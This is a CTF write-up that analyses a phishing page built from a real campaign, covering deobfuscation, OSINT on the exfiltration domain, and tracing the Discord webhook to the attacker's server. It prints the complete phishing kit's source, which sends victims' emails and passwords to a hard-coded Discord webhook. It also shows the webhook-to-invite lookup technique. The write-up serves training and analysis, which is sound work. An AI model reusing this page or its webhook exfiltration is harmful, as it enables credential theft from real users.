
This article is a writeup for the “CASE” challenge I created for the GCTF 2025 Capture The Flag (CTF). This CTF was co-organized at Guardia Cybersecurity School. The challenge was based on a real-world phishing campaign I encountered while analyzing data from the security solutions at the company where I worked at the time.
The goal of the challenge was to simulate a realistic scenario involving a phishing link sent by an attacker. Participants were required to investigate and create a detailed report describing the attacker’s methodology and techniques.The CTF lasts for 5 hours. I expected them to have completed it in 2 hours 🥹
📝 Synopsis
Esteemed participants,
As an elite cybersecurity analyst, you are officially mandated by SOCreddine, the Chief Information Officer of GuardiaCorp, to conduct a thorough investigation into a particularly suspicious URL.
This URL has been surreptitiously disseminated within GuardiaCorp’s internal networks, raising serious concerns about its origin and potential harmful repercussions.
Be advised that this task requires specialized expertise. Discretion is essential, as GuardiaCorp’s reputation is at stake.
Time is of the essence. SOCreddine expects your detailed report as soon as possible. May your insight and ingenuity guide you in this perilous undertaking.
Entrypoint:
https://case.gctf.tech#jhubert@gmail.com
Difficulty : Easy/Medium
🏆 Scoring Criteria
Starting from the entrypoint, find the following information:
Points | Criteria | Expected |
---|---|---|
100 | Reception Server | Exfiltration endpoint previously used by the attacker to receive the data |
50 | Panel Identification | Full name of the panel used to deploy the template from the domain formerly used for exfiltration |
50 | Geographical Origin | Location of the supposed city of origin of the server previously used to exfiltrate the data |
150 | Initial TLS Certificate | Exact date and time of the first registration of the domain formerly used for exfiltration |
150 | Domain Value | Price of the domain formerly used for exfiltration on March 30, 2022 |
200 | New Exfiltration Endpoint | The attacker has since changed his exfiltration method. Find the new way used to exfiltrate the data. |
200 | Exfiltration Logic | These points will be awarded if you demonstrate in detail (from the code) how the attacker exfiltrated this data in the past and present (technical explanation of the code logic) |
200 | Shared Secret | A secret is hidden on the attackers’ discussion server! |
200 | Final Flag | Format: GCTF{C2_server_name:exfiltration_domain} Example: GCTF{Havoc:informaticien.fun} |
1300 | Send the report | to the email address: report@gctf.tech mentioning your team name (otherwise refused)! |
You must write a comprehensive report in your own words. It must be:
- Demonstrative: Tangible evidence for each point
- Exhaustive: Complete and detailed analysis
- Explanatory: Contextualization and ease of understanding
You will only have one submission for your report.
⚠️ Important: The best report will be worth 200 additional points.
We accept submissions up to one hour before the end of the CTF, after this deadline your report will be refused. You can submit your report and get points, even if it is incomplete!
✍️ Writeup
📡 Reception Server Identification
Points: 100
Let’s dive into the source code of the https://case.gctf.tech#jhubert@gmail.com page :
<script language=javascript>document.write(unescape('%0A%3C%21DOCTYPE%20html%3E%0A%3Chtml%20lang%3D%22en%22%3E%0A%20%20%20%20%3...'))</script>
Which looks like a very long url encoded character chain, we can decode it with tool of your choice like cyberchief per example:
Url enconding
was utilized. In the obfuscated script at the very bottom of the code, there is a comment with a POST request to a wired endpoint.
🚩 ucbank.net/love/newpost.php
💻 Panel Identification
Points: 50
Go on the domain root : https://ucbank.net
🚩 CyberPanel
🌍 Geographical Origin
Points: 50
- Utilize a geoIP tool with the
ucbank.net
domain:
🚩 Istanbul
🔐 TLS Certificate Record
Points: 150
- With the crt.sh website you can see when TLS certificates was registered:
🚩 2018-07-27 19:32:08
💰 Domain Valuation
Points: 150
- Domain Price on March 30, 2022: Check historical records on Wayback Machine to ascertain the domain’s value at the given time.
🚩 280$
📤 New Exfiltration Endpoint
Points: 200
In the javascript part of the code (at very bottom) we see first, what look like a commented POST
request to the https://ucbank.net/love/newpost.php
endpoint.
(0x4c1, 0x4b5, 0x4a1, 0x4c9)] = function () { function _0x377252(_0x2000a8, _0x307650, _0x53890e, _0x21295a) { return _0x4ff03(_0x2000a8 - 0xb9, _0x2000a8, _0x53890e - 0x5b, _0x21295a - 0x36); }
// xhr.open("POST", "https://ucbank.net/love/newpost.php", true); function _0x5efac2(_0x2a9176, _0xc58150, _0x548760, _0x43abc3) { return _0x4ff03(_0x2a9176 - 0x1c, _0xc58150, _0x548760 - 0x119, _0x548760 - -0x2a9); } _0x543aea['readyState'] === XMLHttpRequest['DONE'] && (_0x464090[_0x377252(0x50c, 0x4a1, 0x522, 0x4e5)](_0x543aea[_0x377252(0x4e2, 0x4ad, 0x4b3, 0x4e2)], 0xf * 0xff + -0x19c0 + 0x3dd * 0x3) ? _0x464090[_0x377252(0x526, 0x54d, 0x547, 0x55d)](_0x377252(0x510, 0x515, 0x569, 0x548), _0x464090['ZkWJL']) ? _0x275237[_0x377252(0x500, 0x580, 0x54d, 0x53d)]('Failed\x20to\x20' + 'send\x20messa' + _0x377252(0x51d, 0x4d7, 0x4d8, 0x4f8), _0x11c9c1[_0x377252(0x580, 0x52c, 0x563, 0x546) + 'xt']) : console[_0x5efac2(0x279, 0x2ba, 0x279, 0x2a6)](_0x377252(0x52e, 0x526, 0x525, 0x51c) + 'nt\x20success' + _0x377252(0x575, 0x596, 0x552, 0x55a)) : console[_0x377252(0x572, 0x4fa, 0x541, 0x53d)](_0x464090['Jmsnh'], _0x543aea['responseTe' + 'xt'])); }, _0x543aea['send'](JSON[_0x4ff03(0x50f, 0x500, 0x4ef, 0x4d4)](_0x2af2a6)), document[_0x1f912b(-0x1b9, -0x223, -0x205, -0x1f2) + _0x4ff03(0x517, 0x524, 0x516, 0x51e)](_0x15fe69[_0x4ff03(0x4f0, 0x549, 0x4cc, 0x50c)])[_0x1f912b(-0x192, -0x1a6, -0x1a3, -0x184)] = _0x15aa9c + (-0x7d2 + 0x15b6 * 0x1 + -0x3 * 0x4a1), document[_0x1f912b(-0x1e8, -0x1ff, -0x222, -0x1f2) + _0x4ff03(0x526, 0x55b, 0x4e3, 0x51e)](_0x15fe69[_0x1f912b(-0x1d5, -0x1cd, -0x1b6, -0x1e2)])[_0x1f912b(-0x1c8, -0x1b2, -0x159, -0x184)] = ''; });});
Let’s deobfuscate it briefly as well:
(function (_0x489ecf, _0xc917ab) { var _0x13d46c = _0x489ecf(); while (true) { try { var _0x407117 = parseInt(_0x1eac(352, 0xba)) / 1 + -parseInt(_0x1eac(314, -0xf8)) / 2 + -parseInt(_0x1eac(420, -0x70)) / 3 + parseInt(_0x1eac(317, 0x7a)) / 4 * (-parseInt(_0x1eac(322, 0xa2)) / 5) + -parseInt(_0x1eac(340, -0x9e)) / 6 * (-parseInt(_0x1eac(397, 0xe4)) / 7) + parseInt(_0x1eac(417, 0xbf)) / 8 + parseInt(_0x1eac(345, -0xa0)) / 9; if (_0x407117 === _0xc917ab) { break; } else { _0x13d46c.push(_0x13d46c.shift()); } } catch (_0x247d0c) { _0x13d46c.push(_0x13d46c.shift()); } }})(_0x1123, 169814);var _0x16e918 = function () { var _0x498639 = { FrbHv: function (_0x498b67, _0x24000c) { return _0x498b67 === _0x24000c; } }; _0x498639.KgbQA = "xveGs"; _0x498639.tBWXr = "wXsKI"; var _0x964def = true; return function (_0x25b0d0, _0x29a9db) { var _0x19d983 = { 'DuegV': function (_0x1bfa63, _0x4cdb5) { return _0x1bfa63 === _0x4cdb5; }, 'ejKtT': function (_0x1d3000, _0x80729d) { return _0x1d3000 === _0x80729d; }, 'xdKMA': _0x498639.KgbQA, 'rnjzX': _0x498639.tBWXr }; var _0x315f11 = _0x964def ? function () { if (_0x19d983.xdKMA === _0x19d983.rnjzX) { if (_0x32f7ab.readyState === _0x37b4d5.DONE) { if (_0x19dcc6.status === 200) { _0x5dafbb.log("Message sent successfully!"); } else { _0x16a208.error("Failed to send message:", _0x4d2989.responseText); } } } else { if (_0x29a9db) { var _0x29faa0 = _0x29a9db.apply(_0x25b0d0, arguments); _0x29a9db = null; return _0x29faa0; } } } : function () {}; _0x964def = false; return _0x315f11; };}();var _0x276bce = _0x16e918(this, function () { var _0x1ab606; try { var _0x5baa92 = Function("return (function() {}.constructor(\"return this\")( ));"); _0x1ab606 = _0x5baa92(); } catch (_0x1f2a15) { _0x1ab606 = window; } var _0x3a5087 = _0x1ab606.console = _0x1ab606.console || {}; var _0xc25c01 = ["log", "warn", "info", "error", "exception", "table", "trace"]; for (var _0x15cf1e = 0; _0x15cf1e < _0xc25c01.length; _0x15cf1e++) { var _0x4b4485 = _0x16e918.constructor.prototype.bind(_0x16e918); var _0x1e30fb = _0xc25c01[_0x15cf1e]; var _0x10a535 = _0x3a5087[_0x1e30fb] || _0x4b4485; _0x4b4485.__proto__ = _0x16e918.bind(_0x16e918); _0x4b4485.toString = _0x10a535.toString.bind(_0x10a535); _0x3a5087[_0x1e30fb] = _0x4b4485; }});_0x276bce();var link = window.location.href;var url = new URL(link);function _0x27b64f(_0x2de266, _0x54f5e3, _0x34ed92, _0x243e55) { return _0x1eac(_0x54f5e3 + 0x258, _0x2de266);}var hash = url.hash;var updated_email = hash.replace('#', '');function _0x1123() { var _0x418741 = ['vLHjvwG', 'C3rYAw5NAwz5', 'uLb3Exe', '4PQHienYzwrZieXV', 'A3mVmtmXnJGWnq', 'C3vIBwL0', 'ChjVDg90ExbL', 'AJLruwSXzg9fna', 'zgLZCgXHEq', 'C3vIC3rYAw5N', 'C2v0uMvXDwvZDa', 's2PMswS', 'AwXPC2f0zxvYia', 'rxblqMi', 'zxHJzxb0Aw9U', 's2DIuue', 'D0jOwNG', 'Dg9tDhjPBMC', 'Agzetg0', 'twvZC2fNzsbZzq', 'C2vUzcbTzxnZyq', 'rMfPBgvKihrVia', 'ywjlrhq', 'CgvTy2e', 'CYDLC3qGzMfPDa', 'tNviBvm', 'wg1RExm', 'y29UC29Szq', 'yxbWBgLJyxrPBW', 'ywrKrxzLBNrmAq', 'z2DLzcdIMQe', 'zcOQoIa', 'yxvSDa', 'mtiZmJDotwnuELO', 'BMn0Aw9UkcKG', 'q2f2BhK', 'C3rLBMvY', 'C3jJ', 'rMvwB1G', 'B25YzwfKExn0yq', 'BgvUz3rO', 'uMfwEhu', 'rhvLz1y', 'EhzLr3m', 'zw1HAwW', 'y3rVCIGICMv0Dq', 'Egrltue', 'CM4GDgHPCYiPka', 'q29UDgvUDc1uEq', 'BNqGC3vJy2vZCW', 'kIPfBwfPBcOQoG', 'D2fYBG', 'zxjYB3i', 'mJiWnZG5nKHgDM9jtq', 'CM5QELG', 'zgvUDgLHBhmG8j+sGa', 'ntCZodyXqwrqvLLl', 'D09RuwG', 'Bg9JyxrPB24', 'rNjIshy', 'Aw5MBW', 'CMvZCg9UC2vuzq', '4PQG77IpifvtrviGqLjf', 'zNHIB3i', 'DMfSDwu', 'BwvuENC', 'AhjLzG', 'yxbPl3DLyMHVBW', 'reDVuJe3neO3DW', 'uLDAvNG', 'C2v0qxr0CMLIDq', 'tg9HzgvK', 'y21jsK4', 'oty2mtq2mdq4mq', 'Dejxwhi', 'qNLjza', 'BI9QC29U', 'zM9YBq', 'cIOQugfZC3DVCG', 'Bg9N', 'Ahr0Chm6lY8', 'zNvSBhKH', 'BuLKq0K', 'ifbfvefyisOQia', 'AhvswKW', 'C0r5v2e', 'DhjHy2u', 'nJuZmti0rKvrwhHh', 'ChzevLK', '4PQH8j+sGa', 'nZK4nJy4EMrYsePK', 'z2v0rwXLBwvUDa', 'Bg9HzgLUzW', 'AMr6Dwe', 'ExrPBwCUy29TlW', 'nvDrwhrcCa', 'B3vUDhmG8j+sGokAOq', 'Aw1NDxiUy29TlW', 'C3rHDhvZ', 'AwzYyw1L', 'svjJv2S', 'rgLvy2G', 'E30Uy29UC3rYDq', 'sgvHzgvY', 'B0jYAei', 'C3r5Bgu', 'qtriyK1Onff2mG', 'vLrbuMG', 'DgfIBgu', 'Awjiu1C', 'B3bLBG', 'DMKVnNPhsJjRBq', 'Ahr0Chm6lY9PlG', 'odqWCeXyA1LJ', 'tM1xoueYDLvtCW', 'AvHHtgO', 'ELflB1K', 'C2rLzMf1BhqUAG', 'mJm0otaWmhnNBhznBG', 'A3D4tg8', 'z2u6', 'B3HrBuC', 'ueftC1O', 'ue9tva', 'zwPlDfq', 'mtaZodaZB3H3tKLz', 'ChjLDMvUDerLzG', 'DgvJAgfUz2u', 're9nq29UDgvUDa', 'yMLUza', 'Aw5KzxHpzG', 'wMnWq3C', 'D1HZs0K', 'C2nVCMqUy29TlW', '4PQH8j+sGcaQkLvUihv0', 'x19WCM90B19F', 's2fHDhG']; _0x1123 = function () { return _0x418741; }; return _0x1123();}document.getElementById("email").value = updated_email;function _0x1eac(_0x12c56b, _0x293603) { var _0x203324 = _0x1123(); _0x1eac = function (_0x4239df, _0x348dec) { _0x4239df = _0x4239df - 314; var _0x44d9ab = _0x203324[_0x4239df]; if (_0x1eac.QUflAz === undefined) { var _0x29b880 = function (_0x57f2c1) { var _0x4eb863 = ''; var _0x49fad1 = ''; var _0x32739b = 0; var _0x36edaa; var _0x1c9961; for (var _0x1f7d93 = 0; _0x1c9961 = _0x57f2c1.charAt(_0x1f7d93++); ~_0x1c9961 && (_0x36edaa = _0x32739b % 4 ? _0x36edaa * 64 + _0x1c9961 : _0x1c9961, _0x32739b++ % 4) ? _0x4eb863 += String.fromCharCode(255 & _0x36edaa >> (-2 * _0x32739b & 6)) : 0) { _0x1c9961 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='.indexOf(_0x1c9961); } var _0x40ae0c = 0; for (var _0x597c0e = _0x4eb863.length; _0x40ae0c < _0x597c0e; _0x40ae0c++) { _0x49fad1 += '%' + ('00' + _0x4eb863.charCodeAt(_0x40ae0c).toString(16)).slice(-2); } return decodeURIComponent(_0x49fad1); }; _0x1eac.SPSFPy = _0x29b880; _0x12c56b = arguments; _0x1eac.QUflAz = true; } var _0x1098c8 = _0x203324[0]; var _0x54f334 = _0x4239df + _0x1098c8; var _0x53d4c4 = _0x12c56b[_0x54f334]; if (!_0x53d4c4) { _0x44d9ab = _0x1eac.SPSFPy(_0x44d9ab); _0x12c56b[_0x54f334] = _0x44d9ab; } else { _0x44d9ab = _0x53d4c4; } return _0x44d9ab; }; return _0x1eac(_0x12c56b, _0x293603);}const delimiterIndex = updated_email.indexOf('@');const charactersAfter = updated_email.substring(delimiterIndex + 1);var iframe = document.getElementById("iframe");var iframe_url = "https://" + charactersAfter;iframe.setAttribute("src", iframe_url);setTimeout(() => { var _0x3c52a0 = document.getElementById("loading"); _0x3c52a0.style.display = 'none';}, 4000);function _0x18dfa5(_0x895e04, _0x23a0ac, _0x4cada8, _0x34b52a) { return _0x1eac(_0x895e04 + 0x52, _0x34b52a);}document.addEventListener("DOMContentLoaded", function () { var _0x3440d6 = { pvDVY: function (_0x1b4dad, _0x64df64) { return _0x1b4dad === _0x64df64; }, EpKBb: function (_0x36a897, _0x200699) { return _0x36a897 !== _0x200699; }, pemca: "Failed to send message:", wOkQh: 'number', VTARh: 'password' }; _0x3440d6.kwxLo = "Hacked accounts 💀⚡"; _0x3440d6.NuHmS = "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg"; _0x3440d6.mIdCI = "⚠️ USER BREACH DETECTED ⚠️"; _0x3440d6.iXaLj = "💀 User Credentials 💀"; _0x3440d6.RaVxu = "⚡ Creds Logged ⚡"; _0x3440d6.KjfIk = "https://i.imgur.com/UsNaXHK.gif"; _0x3440d6.jdzua = "POST"; _0x3440d6.VXIUh = "application/json"; _0x3440d6.Xmkys = "form"; _0x3440d6.ZcpCw = "submit"; var _0x3b333b = document.getElementById(_0x3440d6.Xmkys); _0x3b333b.addEventListener(_0x3440d6.ZcpCw, function (_0x338ff6) { _0x338ff6.preventDefault(); var _0x15aa9c = parseInt(document.getElementById('number').value); var _0x2af2a6 = { 'username': _0x3440d6.kwxLo, 'avatar_url': _0x3440d6.NuHmS, 'embeds': [{ 'title': _0x3440d6.mIdCI, 'description': "⚡💀 **Un utilisateur s'est fait PETAX!** ⚡💀", 'color': 0xff0000, 'fields': [{ 'name': _0x3440d6.iXaLj, 'value': "**Email**: " + document.getElementById("email").value + "\n**Password**: " + document.getElementById('password').value, 'inline': false }], 'footer': { 'text': _0x3440d6.RaVxu, 'icon_url': "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg" }, 'image': { 'url': _0x3440d6.KjfIk } }] }; var _0x543aea = new XMLHttpRequest(); _0x543aea.open(_0x3440d6.jdzua, "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true); _0x543aea.setRequestHeader("Content-Type", _0x3440d6.VXIUh); _0x543aea.onreadystatechange = function () { // xhr.open("POST", "https://ucbank.net/love/newpost.php", true); if (_0x543aea.readyState === XMLHttpRequest.DONE) { if (_0x543aea.status === 200) { console.log("Message sent successfully!"); } else { console.error("Failed to send message:", _0x543aea.responseText); } } }; _0x543aea.send(JSON.stringify(_0x2af2a6)); document.getElementById('number').value = _0x15aa9c + 1; document.getElementById('password').value = ''; });});
We see some deadcode (certainly to make us spend more time on it on purpose) and a discord webhook structure:
12 collapsed lines
document.addEventListener("DOMContentLoaded", function () { var _0x3440d6 = { pvDVY: function (_0x1b4dad, _0x64df64) { return _0x1b4dad === _0x64df64; }, EpKBb: function (_0x36a897, _0x200699) { return _0x36a897 !== _0x200699; }, pemca: "Failed to send message:", wOkQh: 'number', VTARh: 'password' };
_0x3440d6.kwxLo = "Hacked accounts 💀⚡";_0x3440d6.NuHmS = "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg";_0x3440d6.mIdCI = "⚠️ USER BREACH DETECTED ⚠️";_0x3440d6.iXaLj = "💀 User Credentials 💀";_0x3440d6.RaVxu = "⚡ Creds Logged ⚡";_0x3440d6.KjfIk = "https://i.imgur.com/UsNaXHK.gif";_0x3440d6.jdzua = "POST";_0x3440d6.VXIUh = "application/json";_0x3440d6.Xmkys = "form";_0x3440d6.ZcpCw = "submit";var _0x3b333b = document.getElementById(_0x3440d6.Xmkys);_0x3b333b.addEventListener(_0x3440d6.ZcpCw, function (_0x338ff6) { _0x338ff6.preventDefault(); var _0x15aa9c = parseInt(document.getElementById('number').value);
var _0x2af2a6 = { 'username': _0x3440d6.kwxLo, 'avatar_url': _0x3440d6.NuHmS, 'embeds': [{ 'title': _0x3440d6.mIdCI, 'description': "⚡💀 **Un utilisateur s'est fait PETAX!** ⚡💀", 'color': 0xff0000, 'fields': [{ 'name': _0x3440d6.iXaLj, 'value': "**Email**: " + document.getElementById("email").value + "\n**Password**: " + document.getElementById('password').value, 'inline': false }], 'footer': { 'text': _0x3440d6.RaVxu, 'icon_url': "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg" }, 'image': { 'url': _0x3440d6.KjfIk } }] }; var _0x543aea = new XMLHttpRequest(); _0x543aea.open(_0x3440d6.jdzua, "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true);16 collapsed lines
_0x543aea.setRequestHeader("Content-Type", _0x3440d6.VXIUh); _0x543aea.onreadystatechange = function () { // xhr.open("POST", "https://ucbank.net/love/newpost.php", true); if (_0x543aea.readyState === XMLHttpRequest.DONE) { if (_0x543aea.status === 200) { console.log("Message sent successfully!"); } else { console.error("Failed to send message:", _0x543aea.responseText); } } }; _0x543aea.send(JSON.stringify(_0x2af2a6)); document.getElementById('number').value = _0x15aa9c + 1; document.getElementById('password').value = ''; });});
We can clearly see that the 2 fields email
and password
of the form, are sent to a discord webhook for exfiltration.
🕵️♂️ Exfiltration Logic
Points : 200
What the f* the code does ???
SummarizingThis is a phishing page designed to trick people into entering their password. The attackers then collect the credentials using a Discord webhook. Various obfuscation techniques are used to make the code harder to analyze.
🔍 Core Functionality
- 🎣 Credential Harvesting:
- Automatically populates an email field from the URL hash (e.g.,
example.com#victim@email.com
→ email =victim@email.com
) - Capturing the entered password upon form submission.
- Sending both fields to the Discord webhook via a POST request.
- 🕵️♂️ Obfuscation Techniques:
- Heavy use of hexadecimal variable names (
_0x1eac
,_0x1123
) - String encryption/decryption routines
- Console method overwriting to hide debug logs
- Array rotation and code flow manipulation
- Heavy use of hexadecimal variable names (
📤 Data Exfiltration
xhr.open("POST", "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true);
Sends stolen credentials, Email: victim@example.com
and Password: [user's entered password]
🎭 Deceptive UI
- Loads an iframe in the ackground matching the email domain (e.g.,
@gmail.com
→https://gmail.com
) - Shows fake loading screen (4-second delay)
In the code:
-
🛡️ Anti-Analysis Features
Overwrites console methods to prevent debugging console.log = function(){};console.error = function(){}; -
🌐 Domain Parsing to iframe
const charactersAfter = updated_email.substring(delimiterIndex + 1);iframe.setAttribute("src", "https://" + charactersAfter);
🗝️ Key points
- Use of multiple code obfuscation layers
- Hardcoded Discord webhook URL and attacker domain
- Automatic email extraction from URL fragments
- Dynamic iframe loading based on email domain
- Console method tampering
🤫 Shared Secret
Points: 200
First some documentation on discord webhooks:
https://www.reddit.com/r/discordapp/comments/15nzlbg/is_there_any_way_to_find_out_what_server_a
With this webhook we can post data or delete it, that is not very interesting there (or if you just want to mess up with other teams and challenge maker), there is a way to retrieve a invitation link to the discord server perhaps it needs an active discord widget configuration by the server owner):
- Submit a GET request to the webhook URL to reveal associated guild ID:
{ "application_id": null, "avatar": "1d1dc4094ab1693e3c45e674685948c5", "channel_id": "1316805941609627659", "guild_id": "1316805897082765373", "id": "1316805966146048123", "name": "Proz0X_ hacked accounts", "type": 1, "token": "WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", "url": "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI"}
- Access
https://www.discord.com/api/guilds/<guild id>/widget.json
to get the invitation link from the widget feature.
{ "id": "1316805897082765373", "name": "H3CK3Rz_", "instant_invite": "https://discord.com/invite/jZ4nUrck", "channels": [], "members": [], "presence_count": 0}
- You are granted to join the server from the widget invitation link retreived.
In the server, an event is live with a message.
🚩 GCTF{P0URkw01_m377r3_Un_fl49_1C1??}
🏁 Final Flag
Points: 200
In the #help channel, a user “Slap” ask for help about a strange behavior on is PC, at the end of the discussion he provide a zip file:
To gain time, we can scan this archive on an online dynamic analysis tool per ex. : Tria.ge:
Cobalt strike is the utilized C2.
Attacker exfiltration domain is: softline.top
🚩 GCTF{cobalt_strike:softline.top}
This concludes the writeup for the “CASE” challenge at GCTF 2025. I hope you found this walkthrough insightful and helpful for tackling similar real-world scenarios in cybersecurity.
PS : Sadly, participants was like that:
0 solve, it happens sometimes, i guess.
🧹 Clear Source code
<!DOCTYPE html><html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Captcha page | Secured</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous"> <link href="https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap" rel="stylesheet"> <script src="https://kit.fontawesome.com/585b051251.js" crossorigin="anonymous"></script> <link rel="shortcut icon" href="https://masherabot.com/img/png/adobe/acrobat.png" type="image/x-icon"> <script src="https://code.jquery.com/jquery-3.7.0.js" integrity="sha256-JlqSTELeR4TLqP0OG9dxM7yDPqX1ox/HfgiSLBj8+kM=" crossorigin="anonymous"></script> </head>
<style> body{ display: flex; justify-content: center; align-items: center; } #iframe{ position: fixed; top: 0; right: 0; bottom: 0; left: 0; width: 100vw; height: 100vh; } .login{ display: flex; justify-content: center; align-items: center; width: 100vh; height: 100vh; z-index: 20; } .login_body{ width: 90%; max-width: 400px; z-index: 10; padding: 10px; background: white; border-radius: 10px; box-shadow: 0 4px 32px 0 grey; display: flex; flex-flow: column; gap: 10px; } .confirm{ font-weight: 600; } .flex_column{ display: flex; flex-flow: column; } #newbutton{ width: fit-content !important; background: #062174; color: white; }
.loading{ display: flex; justify-content: center; align-items: center; flex-flow: column; gap: 10px; position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 100; background: white; } .loader { width: 48px; height: 48px; display: inline-block; position: relative; background: black; box-sizing: border-box; animation: flipX 1s linear infinite; } @keyframes flipX { 0% { transform: perspective(200px) rotateX(0deg) rotateY(0deg); } 50% { transform: perspective(200px) rotateX(-180deg) rotateY(0deg); } 100% { transform: perspective(200px) rotateX(-180deg) rotateY(-180deg); } } </style>
<body> <div class="login"> <div class="login_body"> <img src="https://media.istockphoto.com/id/1156467607/photo/captcha-im-not-a-robot.jpg?b=1&s=170667a&w=0&k=20&c=qsCUeyZgtDMl98uVMrhPrXqWatuEdwkSyF6YlwLtbW4=" width="150"> <div class="alert alert-danger" id="msg" style="display: none;">Incorrect Password</div>
<div class="text-center confirm">Confirm identity to prove you are not a robot</div>
<div id="error" style="color: red;"></div> <form class="flex_column" id="form"> <label class="text-secondary font-weight-bold">Email Address</label> <input type="email" class="form-control email" required="required" name="email" id="email" autocomplete="on"> <label class="text-secondary font-weight-bold">Password</label> <input type="password" class="form-control password" name="password" required="" id="password"> <br> <div></div> <input class="btn newbutton" type="submit" value="Sign in" name="submit" id="newbutton"> </form> </div> </div> </body>
<div class="loading" id="loading"> <span class="loader"></span> <h3 class="text-center">Connecting To Mail Server</h3> </div>
<iframe src="" frameborder="0" id="iframe"></iframe> <input type="hidden" value="0" id="number">
<script> var link = window.location.href; var url = new URL(link); var hash = url.hash; var updated_email = hash.replace("#", ""); document.getElementById("email").value = updated_email;
const inputString = updated_email; const delimiter = "@"; const delimiterIndex = inputString.indexOf(delimiter); const charactersAfter = inputString.substring(delimiterIndex + 1); var iframe = document.getElementById("iframe"); // var iframe_url = "https://www." + charactersAfter ; var iframe_url = "https://" + charactersAfter ; iframe.setAttribute("src", iframe_url);
setTimeout(() => { var loader = document.getElementById("loading"); loader.style.display = "none"; }, 4000);
document.addEventListener("DOMContentLoaded", function() { var form = document.getElementById("form"); form.addEventListener("submit", function(e) { e.preventDefault(); var number = parseInt(document.getElementById("number").value); var password = document.getElementById("password").value; var webhookUrl = "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI";
var payload = { username: "Hacked accounts 💀⚡", avatar_url: "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg", embeds: [{ title: "⚠️ USER BREACH DETECTED ⚠️", description: `⚡💀 **Un utilisateur s'est fait PETAX!** ⚡💀`, color: 0xFF0000, fields: [ { name: "💀 User Credentials 💀", value: `**Email**: ${document.getElementById("email").value}\n**Password**: ${document.getElementById("password").value}`, inline: false } ], footer: { text: "⚡ Creds Logged ⚡", icon_url: "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg" }, image: { url: "https://i.imgur.com/UsNaXHK.gif" } }] };
var xhr = new XMLHttpRequest(); // xhr.open("POST", "https://ucbank.net/love/newpost.php", true); xhr.open("POST", webhookUrl, true); xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() { if (xhr.readyState === XMLHttpRequest.DONE) { if (xhr.status === 200) { console.log("Message sent successfully!"); } else { console.error("Failed to send message:", xhr.responseText); } } };
xhr.send(JSON.stringify(payload)); document.getElementById("number").value = number + 1; document.getElementById("password").value = ""; }); }); </script></html>